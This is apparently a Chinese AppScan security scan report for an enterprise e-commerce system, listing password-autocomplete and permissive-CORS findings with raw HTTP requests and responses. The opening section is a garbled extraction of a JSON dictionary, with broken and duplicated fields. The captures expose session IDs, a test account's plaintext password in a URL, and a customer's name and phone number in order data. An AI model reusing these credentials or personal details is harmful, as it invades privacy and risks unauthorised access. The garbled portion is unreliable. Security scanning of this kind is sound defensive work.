                                  "usestatus": 1,
                                  "note": null
                  "PUB GOODSCLASS LEVEL": [
                                 "id": 125,
                                  "ddlid": 1,
                                  "keyword": "PUB GOODSCLASS LEVEL",
                                  "ddlname": "
                                  "usestatus": 1,
```

```
"note": "商品分类级别A"
                    "id": 318,
                   "ddlid": 2,
                   "keyword": "PUB_GOODSCLASS_LEVEL",
"ddlname": " 二级",
                   "usestatus": 1,
                    "note": " 商品分类级别A"
                   "id": 466,
                   "ddlid": 3,
                   "keyword": "PUB_GOODSCLASS_LEVEL",
"ddlname": "三级",
                                         三级",
                   "ddlname .
"usestatus": 1,
"note": "商品分类级别A"
                   "id": 569,
                   "ddlid": 4,
                   "keyword": "PUB_GOODSCLASS_LEVEL",
"ddlname": " 四级",
                   "ddlname":
"usestatus": 1,
ra": "商品分类级别A"
                   "id": 647,
                   "ddlid": 5,
                   "keyword": "PUB_GOODSCLASS_LEVEL",
"ddlname": "五级",
                   "ddlname":
"usestatus": 1,
"note": " 商品分类级别A"
                    "id": 990,
                   "ddlid": 0,
                   "keyword": "PUB_GOODSCLASS_LEVEL",
"ddlname": "零级",
                   "ddlname":
"usestatus": 1,
商品分类级别A"
"SP TR DISPATCH ROUTE": [
                  "id": 274,
                   "ddlid": 1,
"keyword": "SP_TR_DISPATCH_ROUTE",
"ddlname": " 南线",
                                      南线",
                   "usestatus": 1,
                   "note": "
                                    路线A"
"SP SA RT GT BANKCARD BANKCARDID": [
                  "id": 1246,
                   "ddlid": 111,
                   "keyword": "SP_SA_RT_GT_BANKCARD_BANKCARDID",
"ddlname": 中国银行",
                   "ddlname":
"usestatus": 1,
" 银行A"
                  "id": 1247,
                   "ddlid": 112,
                   "keyword": "SP_SA_RT_GT_BANKCARD_BANKCARDID",
"ddlname": 农业银行",
                   "ddIname .
"usestatus": 1,
"note": " 银行A"
                  "id": 1248,
                   "ddlid": 113,
                   "keyword": "SP_SA_RT_GT_BANKCARDID",
"ddlname": " 工商银行",
                   "ddlname".
"usestatus": 1,
" 银行A"
```

```
"PUB TIMETYPE": [
                  "id": 138,
                  "ddlid": 1,
                  "keyword": "PUB_TIMETYPE",
"ddlname": "我方入库时间",
                  "usestatus": 1,
"note": " 补充协议时间类型A"
                  "id": 329,
                  "ddlid": 2,
                  "usestatus": 1,
"note": " 补充协议时间类型A"
"BBB": [
                  "id": 2035,
                  "ddlid": 888,
                  "keyword": "BBB",
"ddlname": "ccc",
                  "usestatus": 0,
                  "note": "ddd"
"SALECANCELMONEYSTATUS": [
                "id": 99999002,
                 "ddlid": 0,
"keyword": "SALECANCELMONEYSTATUS",
"ddlname": 退款中",
                  "usestatus": 1,
                  "note": "
                                退款单退款状态"
                {
  "id": 99999003,
                  "ddlid": 1,
                  "keyword": "SALECANCELMONEYSTATUS",
"ddlname": "已退款",
                  "usestatus": 1,
"note": " 退款单退款状态"
                {
"id": 99999005,
                  "ddlid": 2,
                  "keyword": "SALECANCELMONEYSTATUS",
"ddlname": "退款失败",
                  "usestatus": 1,
"note": " 退款单退款状态"
                "id": 99999006,
                  "ddlid": 3,
                  "keyword": "SALECANCELMONEYSTATUS",
                  "ddlname": " 退款成功",
                  "usestatus": 1,
"note": "退款单退款状态"
                "id": 99999007,
                 "dd: 99999000",
"ddlid": 4,
"keyword": "SALECANCELMONEYSTATUS",
"ddlname": 待退款",
                 "usestatus": 1,
"note": "退款单退款状态"
"SP_INVOICE_TYPE": [
                 "id": 52,
                  "ddlid": 0,
                  "keyword": "SP_INVOICE_TYPE",
                          d
```

```
...
...
```

低

自动填写未对密码字段禁用的 HTML 属性 4

TOC

问题 **1 / 4** Toc

自动填写未对密码字段禁用的 HTML 属性	
严重性:	1E
CVSS 分数:	5.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/
实体:	(Page)
风险:	可能会绕开 Web 应用程序的认证机制
原因:	Web 应用程序编程或配置不安全
固定值:	将"autocomplete"属性正确设置为"off"

差异:

推理: AppScan 发现密码字段没有强制禁用自动填写功能。

测试请求和响应:

```
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Connection: keep-alive
Upgrade-Insecure-Requests: 1
{\tt Host: system-rest-enterprise.mall.xt.weilian.cn}
\texttt{Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8}
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 13885
{\tt Access-Control-Allow-Headers:}\ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:45 GMT
<!DOCTYPE html>
<!--[if IE 9]>
<html class="no-js lt-ie10" lang="en"> <![endif]-->
<!--[if gt IE 9]><!-->
<html class="no-js" lang="en">
<!--<![endif]-->
<head>
<meta charset="utf-8">
```

```
<title>系统登录</title>
    <meta name="description" content="ProUI is a Responsive Bootstrap Admin Template created by</pre>
pixelcave and published on Themeforest.">
    <meta name="author" content="pixelcave">
    <meta name="robots" content="noindex, nofollow">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
user-scalable=no">
    <!-- Icons -->
    <!-- The following icons can be replaced with your own, they are used by desktop and mobile
browsers -->
    <link rel="shortcut icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/favicon.png">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon57.png"</pre>
sizes="57x57">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon72.png"</pre>
sizes="72x72">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon76.png"</pre>
sizes="76x76">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon114.png"</pre>
sizes="114x114">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon120.png"</pre>
sizes="120x120">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon144.png"</pre>
sizes="144x144">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon152.png"</pre>
sizes="152x152">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon180.png"</pre>
sizes="180x180">
    <!-- END Icons -->
    <!-- Stylesheets -->
    <!-- Bootstrap is included in its original form, unaltered -->
    <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/bootstrap.min.css"/>
 <link rel="stylesheet" href="css/font-awesome.min.css"/>
    <link rel="stylesheet" href="css/build.css"/>
    <!-- Related styles of various icon packs and plugins -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/plugins.css">
    <!-- The main stylesheet of this template. All Bootstrap overwrites are defined in here -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/main.css">
    <!-- Include a specific file here from css/themes/ folder to alter the default theme of the
template -->
    <!-- The themes stylesheet of this template (for using specific theme color in individual
elements - must included last) -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css">
          </div>
          <div class="form-group">
          <div class="col-xs-12">
          <input type="password" id="login-password" name="login-password" class="form-control"</pre>
placeholder="请输入密码">
          </div>
          </div>
                         <div class="form-group">
. . .
. . .
          <div class="form-group">
          <div class="col-xs-12">
          <div class="input-group">
          <span class="input-group-addon"><i class="gi gi-asterisk"></i></span>
          <input type="password" id="register-password" name="register-password" class="form-</pre>
control input-lg" placeholder="Password">
          </div>
```

```
</div>
</div>
</div>
</div>
</div class="form-group">
</div class="col-xs-12">
</div class="input-group">
</span class="input-group-addon"><i class="gi gi-asterisk"></i></span>
</input type="password" id="register-password-verify" name="register-password-verify"

class="form-control input-lg" placeholder="Verify Password">
</div>
</div>
</div>
</div>
</div>
</div>
</div class="form-group form-actions">
...
...
...
...
```

问题 **2** / **4** Toc

自动填写未对密码字段禁用的 HTML 属性	
严重性:	低 (低
CVSS 分数:	5.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/static/component_pages/personal_settings.html
实体:	personal_settings.html (Page)
风险:	可能会绕开 Web 应用程序的认证机制
原因:	Web 应用程序编程或配置不安全
固定值:	将"autocomplete"属性正确设置为"off"

差异:

推理: AppScan 发现密码字段没有强制禁用自动填写功能。 测试请求和响应:

```
GET /static/component_pages/personal_settings.html HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Cookie: enterpriseCode=SUNEEE; account=setest01; sessionId=c5b8689a1098705cd3ffdff0d57563a1;
enterpriseId=55; enterpriseLevel=1
Connection: keep-alive
Host: system-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: text/html, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 7491
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:24:53 GMT
<div class="newpage-con">
<div class="row block">
```

```
<div class="col-md-2"></div>
       <form action="index.html" method="post" enctype="multipart/form-data" class="col-md-8"</pre>
form-horizontal" onsubmit="return false;">
         <fieldset>
         <div class="form-group">
         <label class="col-md-3 control-label">请输入原密码: </label>
         <div class="col-md-7">
         <input type="password" id="init_password" name="init_password" class="form-control"</pre>
placeholder="请输入原密码..">
         </div>
         </div>
         <div class="form-group">
         <label class="col-md-3 control-label">请输入新密码: </label>
         <div class="col-md-7">
<input type="password" id="new_password_1" name="new_password_1" class="form-control"
placeholder="请输入新密码..">
         </div>
         </div>
         <div class="form-group">
         <label class="col-md-3 control-label">确认新密码: </label>
         <div class="col-md-7">
<input type="password" id="new password 2" name="new password 2" class="form-control"
placeholder="确认新密码..">
        </div>
         </div>
         <div class="form-group form-actions">
         <div class="col-md-7 col-md-offset-3">
         <button type="submit" id="update_password" class="btn btn-sm btn-primary">修改密码
</button>
         </div>
         </div>
         </fieldset>
       </form>
   </div>
</div>
<div style="width: 100%;">
       <div id="personal-settings-editUserDlg" class="from table con">
         <form role="form">
         <+r>
         <input type="hidden" name="userId" id="userId" value=""/>
         账户<label class="required">*</label>
         <input type="text" class="form-control" name="account" id="account" readonly="true"
value=""/>
        姓名<label class="required">*</label>
         <input type="text" class="form-control" name="name" id="name" readonly="true"
value=""/>
         地址
         <input type="text" class="form-control" name="address" id="address" value=""/>
邮箱<label class="required">*</label>
         <input type="text" class="form-control" name="eMail" id="eMail" value=""/>
         <+r>
         手机号码<label class="required">*</label>
         <input type="text" class="form-control" name="telphone" id="telphone" value=""/>
</form>
       </div>
</div>
<div class="form-group form-actions">
   <div class="col-md-7 col-md-offset-3">
       <button type="submit" id="saveBtn" class="btn btn-sm btn-primary">保存</button>
   </div>
</div>
<!--编辑弹窗结束-->
```

```
<script>
$(function () {
       initData();
       $("#saveBtn").bind("click",function () {
         saveData();
       //绑定修改密码按钮点击事件
       $("#update password").bind("click",function () {
         updatePassword();
       //保存修改的密码
       function updatePassword() {
         var originalPassword=$("#init_password").val();
         var newPassword1=$("#new password 1").val();
         var newPassword2=$("#new password 2").val();
         //输入校验
         if(originalPassword==""){
         layer.msg("请输入原密码!");
         return;
         if(
. . .
. . .
```

问题 **3 / 4** Toc

自动填写未对密码字段禁用的 HTML 属性	
严重性:	(fe
CVSS 分数:	5.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/static/component_pages/modify_password.html
实体:	modify_password.html (Page)
风险:	可能会绕开 Web 应用程序的认证机制
原因:	Web 应用程序编程或配置不安全
固定值:	将"autocomplete"属性正确设置为"off"

差异:

推理: AppScan 发现密码字段没有强制禁用自动填写功能。 测试请求和响应:

```
GET /static/component_pages/modify_password.html HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Cookie: enterpriseCode=SUNEEE; account=setest01; sessionId=c5b8689a1098705cd3ffdff0d57563a1; enterpriseId=55; enterpriseLevel=1
Connection: keep-alive
Host: system-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: text/html, */*; q=0.01
Accept-Language: en-US,en;q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
```

```
HTTP/1.1 200 OK
Content-Length: 3321
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:24:53 GMT
<div class="newpage-con">
<div class="row block">
        <div class="col-md-2"></div>
        <form action="index.html" method="post" enctype="multipart/form-data" class="col-
md-8 form-horizontal" onsubmit="return false;">
        <fieldset>
                <div class="form-group">
                        <label class="col-md-3 control-label" >
                                                                     请输入原密码: </label>
                        <div class="col-md-7">
                                    <input type="password" id="init password"</pre>
name="init_password" class="form-control" placeholder="请输入原密码..">
                        </div>
                </div>
                <div class="form-group">
                        <label class="col-md-3 control-label" >
                                                                      请输入新密码: </label>
                        <div class="col-md-7">
name="new_password_1" class="form-control" placeholder="请输入新密码..">
                        </div>
                </div>
                <div class="form-group">
                        <label class="col-md-3 control-label" >
                                                                      确认新密码: </label>
                        <div class="col-md-7">
                                     <input type="password" id="new password 2"</pre>
name="new_password_2" class="form-control" placeholder="确认新密码..">
                        </div>
                </div>
                <div class="form-group form-actions">
          <div class="col-md-7 col-md-offset-3">
          <button type="submit" id="update password" class="btn btn-sm btn-primary">修改密码
</button>
         </div>
         </div>
        </fieldset>
</form>
        <div class="col-md-2"></div>
 </dim>
</div>
<script>
   $(function () {
        $("#update_password").bind("click",function () {
         updatePassword();
        });
                /保存修改的密码
        function updatePassword() {
         var originalPassword=$("#init password").val();
         var newPassword1=$("#new password 1").val();
         var newPassword2=$("#new password 2").val();
          //输入校验
          if(originalPassword==""){
          layer.msg("请输入原密码!");
          return;
          if(newPassword1==""){
          layer.msg("请输入新密码!");
          return;
          if(newPassword2==""){
          layer.msg("请再次输入新密码!");
          return;
          if(originalPassword == newPassword1) {
          layer.msg("新密码与原密码相同,请重新输入!");
          return;
```

```
if(newPassword2 != newPassword1){
         layer.msg("密码不一致,请重新输入!");
         $.ajax({
         type: "POST",
url: "/user/updateUserPassword",
         data: {"originalPassword":originalPassword,
         "newPassword":newPassword1
         dataType: "json",
         error: function (result) {
         layer.msg("保存出错!");
         success: function (result) {
         if(result.returnCode==1){
         layer.msg("修改密码成功!");
                                               /修改成功之后重新定位到登录页面
         top.location = "../login.html";
         layer.msg(result.msg);
         });
   })
</script>
```

问题 **4 / 4** Toc

自动填写未对密码字段禁用的 HTML 属性	
严重性:	ft.
CVSS 分数:	5.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/login.html
实体:	login.html (Page)
风险:	可能会绕开 Web 应用程序的认证机制
原因:	Web 应用程序编程或配置不安全
固定值:	将"autocomplete"属性正确设置为"off"

变体-|1/2

差异:

推理: AppScan 发现密码字段没有强制禁用自动填写功能。

测试请求和响应:

```
POST /login.html HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/
Cookie: sessionId=ee7290de32e02a6f3ld21e5lab0ld02b; enterpriseCode=SUNEEE; enterpriseId=55; account=setest01; enterpriseLevel=1
Connection: keep-alive
Host: system-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
```

```
Content-Length: 38
Cache-Control: max-age=0
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
{\tt Content-Type: application/x-www-form-urlencoded}
reminder-email=test%40altoromutual.com
HTTP/1.1 200 OK
Content-Length: 13885
Access-Control-Allow-Headers: x-requested-with.content-type.sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:45 GMT
<!DOCTYPE html>
<!--[if IE 91>
<html class="no-js lt-ie10" lang="en"> <![endif]-->
<!--[if qt IE 9]><!-->
<html class="no-js" lang="en">
<!--<![endif]-->
<head>
    <meta charset="utf-8">
    <title>系统登录</title>
    <meta name="description" content="ProUI is a Responsive Bootstrap Admin Template created by</pre>
pixelcave and published on Themeforest.">
    <meta name="author" content="pixelcave">
    <meta name="robots" content="noindex, nofollow">
   <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
user-scalable=no">
    <!-- Icons -->
    <!-- The following icons can be replaced with your own, they are used by desktop and mobile
    <link rel="shortcut icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/favicon.png">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon57.png"</pre>
sizes="57x57">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon72.png"</pre>
sizes="72x72">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon76.png"</pre>
sizes="76x76">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon114.png"</pre>
sizes="114x114";
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon120.png"</pre>
sizes="120x120">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon144.png"</pre>
sizes="144x144">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon152.png"</pre>
sizes="152x152">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon180.png"</pre>
sizes="180x180">
    <!-- END Icons -->
    <!-- Stylesheets -->
    <!-- Bootstrap is included in its original form, unaltered -->
    <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/bootstrap.min.css"/>
 <link rel="stylesheet" href="css/font-awesome.min.css"/>
    <link rel="stylesheet" href="css/build.css"/>
    <!-- Related styles of various icon packs and plugins -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/plugins.css">
    <!-- The main stylesheet of this template. All Bootstrap overwrites are defined in here -->
    <link rel="stylesheet" href="htt</pre>
. . .
. . .
```

```
</div>
          <div class="form-group">
          <div class="col-xs-12">
<input type="password" id="login-password" name="login-password" class="form-control"
placeholder="请输入密码">
          </div>
          </div>
                         <div class="form-group">
. . .
. . .
          <div class="form-group">
          <div class="col-xs-12">
          <div class="input-group">
          <span class="input-group-addon"><i class="gi gi-asterisk"></i></span>
          <input type="password" id="register-password" name="register-password" class="form-</pre>
</div>
          </div>
          <div class="form-group">
          <div class="col-xs-12">
          <div class="input-group">
          <span class="input-group-addon"><i class="gi gi-asterisk"></i></span>
          <input type="password" id="register-password-verify" name="register-password-verify"</pre>
class="form-control input-lg" placeholder="Verify Password">
         </div>
          </div>
         </div>
         <div class="form-group form-actions">
. . .
. . .
```

变体-|2/2

差异: cookie 已从请求除去: ee7290de32e02a6f31d21e51ab01d02b

推理: AppScan 发现密码字段没有强制禁用自动填写功能。

测试请求和响应:

```
GET /login.html?login-username=setest01&login-password=123456&login-remember-me=on HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/login.html
Cookie: enterpriseCode=SUNEEE; enterpriseId=55; account=setest01; enterpriseLevel=1
{\tt Host: system-rest-enterprise.mall.xt.weilian.cn}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 13885
{\tt Access-Control-Allow-Headers:} \  \, {\tt x-requested-with, content-type, sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:45 GMT
<!DOCTYPE html>
<!--[if IE 91>
<html class="no-js lt-ie10" lang="en"> <![endif]-->
<!--[if gt IE 9]><!-->
<html class="no-js" lang="en">
```

```
<!--<![endif]-->
    <meta charset="utf-8">
    <title>系统登录</title>
    <meta name="description" content="ProUI is a Responsive Bootstrap Admin Template created by</pre>
pixelcave and published on Themeforest.">
    <meta name="author" content="pixelcave">
    <meta name="robots" content="noindex, nofollow">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
user-scalable=no">
    <!-- Tcons -->
    <!-- The following icons can be replaced with your own, they are used by desktop and mobile
    <link rel="shortcut icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/favicon.png">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon57.png"</pre>
sizes="57x57">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon72.png"</pre>
sizes="72x72">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon76.png"</pre>
sizes="76x76">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon114.png"</pre>
sizes="114x114">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon120.png"</pre>
sizes="120x120">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon144.png"</pre>
sizes="144x144">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon152.png"</pre>
sizes="152x152">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon180.png"</pre>
sizes="180x180">
    <!-- END Icons -->
    <!-- Stylesheets -->
    <!-- Bootstrap is included in its original form, unaltered -->
    <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/bootstrap.min.css"/>
 <link rel="stylesheet" href="css/font-awesome.min.css"/>
    <link rel="stylesheet" href="css/build.css"/>
    <!-- Related styles of various icon packs and plugins -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/plugins.css">
    <!-- The main stylesheet of this template. All Bootstrap overwrites are defined in here -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/main.css">
    <!-- Include a specific file here from css/themes/ folder to alter the default theme of the
template -->
    <!-- The themes stylesheet of this template (for using specif
          </div>
          <div class="form-group">
          <div class="col-xs-12">
          <input type="password" id="login-password" name="login-password" class="form-control"</pre>
placeholder="请输入密码">
          </div>
          </div>
                          <div class="form-group">
. . .
          <div class="form-group">
          <div class="col-xs-12">
          <div class="input-group">
          <span class="input-group-addon"><i class="gi gi-asterisk"></i></span>
          <input type="password" id="register-password" name="register-password" class="form-</pre>
control input-lg" placeholder="Password">
```

```
</div>
</div>
</div>
</div class="form-group">
<div class="col-xs-12">
<div class="input-group">
<div class="input-group">
<span class="input-group-addon"><i class="gi gi-asterisk"></i></span>
<input type="password" id="register-password-verify" name="register-password-verify"

class="form-control input-lg" placeholder="Verify Password">
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div class="form-group form-actions">
...
...
...
...
...
```

低

过度许可的 CORS 访问测试 51

TOC

TOC

问题 1 / 51

过度许可的 CORS 访问测试	
严重性:	(f.
CVSS 分数:	5.0
URL:	http://h5config-rest-enterprise.mall.xt.weilian.cn/order/selectCmsOrderList/2
实体:	2 (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

变体-|1/2

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

测试请求和响应:

```
GET /order/selectCmsOrderList/2?pageNum=1&pageSize=15&orderNo=&goodsname=sfdsafsa HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.8
```

```
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:11:20 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
                 "total": 0,
                 "orderList": [
 "returncode": 1,
 "errmsg": null,
 "html": null,
 "returnCode": 1,
 "msq": null
```

变体-|2/2

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /order/selectCmsOrderList/2?pageNum=1&pageSize=15&orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=ff1d64918bd06bf341f084828da4d7d4
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:19:50 GMT
Content-Type: application/json
Transfer-Encoding: chunked
{
  "data": [
                 "total": 77,
                 "orderList": [
                                 "orderNo": "1049253685196654",
```

```
"enterpriseId": 55,
"shopId": 1670,
"userAccount": "1206654",
"createTime": 1515725368566,
"createTimeStr": "2018-01-12 10:49:28",
"totalPay": 200.00,
"totalMinis": 0.00,
"realPay": 200.00,
"walletPayQty": null,
"realPayQty": null,
"payStartTm": null,
"payStatus": 2,
"payFinishTm": null,
"addressId": 1191315,
"note": null,
"synStatus": 1,
"payType": null,
"deliveryAddress": null,
"receiverName": "
                         怀信",
"receiverPhone": "18665939116",
"acceptSynStatus": 0,
"logisticsStatus": 0,
"status": 0,
"isSelfExtract": 0,
"freight": 0.00,
"hasInvoice": 0,
"parentOrderNo": "1049253685186654",
"autoCancelTime": null,
"deliveryTime": null,
"autoConfirmTime": null,
"confirmTime": null,
"shipmentsTime": null,
"shipmentsUser": "",
"userName": " 怀信",
"userPhone": "18665939116",
"billNo": null,
"runid": null,
"globalFlowNo": null,
"taskOpinionList": null,
"totalNum": 1,
"orderDetails": [
                 "rid": 11877,
                 "orderNo": "1049253685196654",
                 "goodsId": 105172,
"goodsNum": 2,
                 "goodsPrice": 100.00,
"totalValue": 200.00,
                 "isScore": 0,
                 "status": 0,
                 "goodsCode": "0156474",
                 "goodsName": "lalala",
                 "goodsImg": "",
                 "goodsSpec": "",
                 "goodsUnit": "
                                       秒",
                 "hasService": 0,
                 "facilitatorId": null,
                 "facilitatorCode": null,
                 "goodsType": 0,
                 "goodsModel": "",
                 "parentOrderNo": "1049253685186654",
                 "canAfterSaleNum": 2,
                 "realTotalValue": 200.00,
                 "classCode": "2693",
"className": "
                 "classId": null,
                 "parentClassCode": null,
                 "parentClassName": "
                                              设备类",
                 "parentClassId": null,
                 "brandId": 4404,
                 "brandName": "SUNEEE",
                 "orderServeList": null,
                 "approvaltypeid": null,
                 "goodslevelid": null,
                 "gsbmid": null,
                 "level": null,
                 "gsbmname": null,
                 "approvaltypename": null,
```

```
"createTime": null,
                                                          "userAccount": null
                                       "selfExtractInfo": null,
                                       "orderInvoice": null,
                                       "orderTicketList": null
                                       "orderNo": "1049253677076654",
                                       "enterpriseId": 55,
                                       "shopId": 1670,
                                       "userAccount": "1206654",
                                       "createTime": 1515725367754,
